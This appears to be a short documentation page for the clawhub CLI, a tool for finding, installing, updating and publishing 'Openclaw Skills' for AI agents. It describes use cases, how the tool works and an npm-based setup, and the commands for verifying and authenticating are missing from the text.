What is clawhub CLI?

clawhub is the primary command-line tool designed to interface with the clawhub.com ecosystem. It allows developers and power users to dynamically extend the capabilities of their AI agents by fetching and managing Openclaw Skills on the fly. By providing a standardized way to package and distribute agent logic, clawhub ensures that your agent environment remains modular and up-to-date.

The tool acts as a bridge between the local development environment and the global registry. It handles the complexities of versioning, dependency management, and file synchronization, making it easier than ever to deploy high-quality Openclaw Skills across different projects and environments.

clawhub CLI Use Cases

  • Discovering new automation capabilities through the global search command.
  • Installing specific versions of Openclaw Skills to ensure environment stability.
  • Mass updating all installed skills to their latest secure versions.
  • Publishing custom-built automation workflows to the community registry.
  • Auditing currently active skills within a project directory.

How clawhub CLI Works

  1. The user initiates a command through the clawhub CLI, which communicates with the local openclaw-agent.
  2. For discovery, the CLI queries the central registry to find relevant Openclaw Skills based on keywords.
  3. During installation, the tool fetches the skill package and extracts it into the local skills directory.
  4. When updating, the CLI performs a hash-based comparison between local files and the registry to identify necessary changes.
  5. For publishers, the CLI validates the skill metadata and pushes the local folder to the registry with version-specific changelogs.

clawhub CLI Setup

Before using the CLI, ensure that the openclaw-agent utility is installed and running on your system.

Install the CLI via npm:

npm i -g clawhub

Verify your installation:

To publish your own Openclaw Skills, authenticate your session:
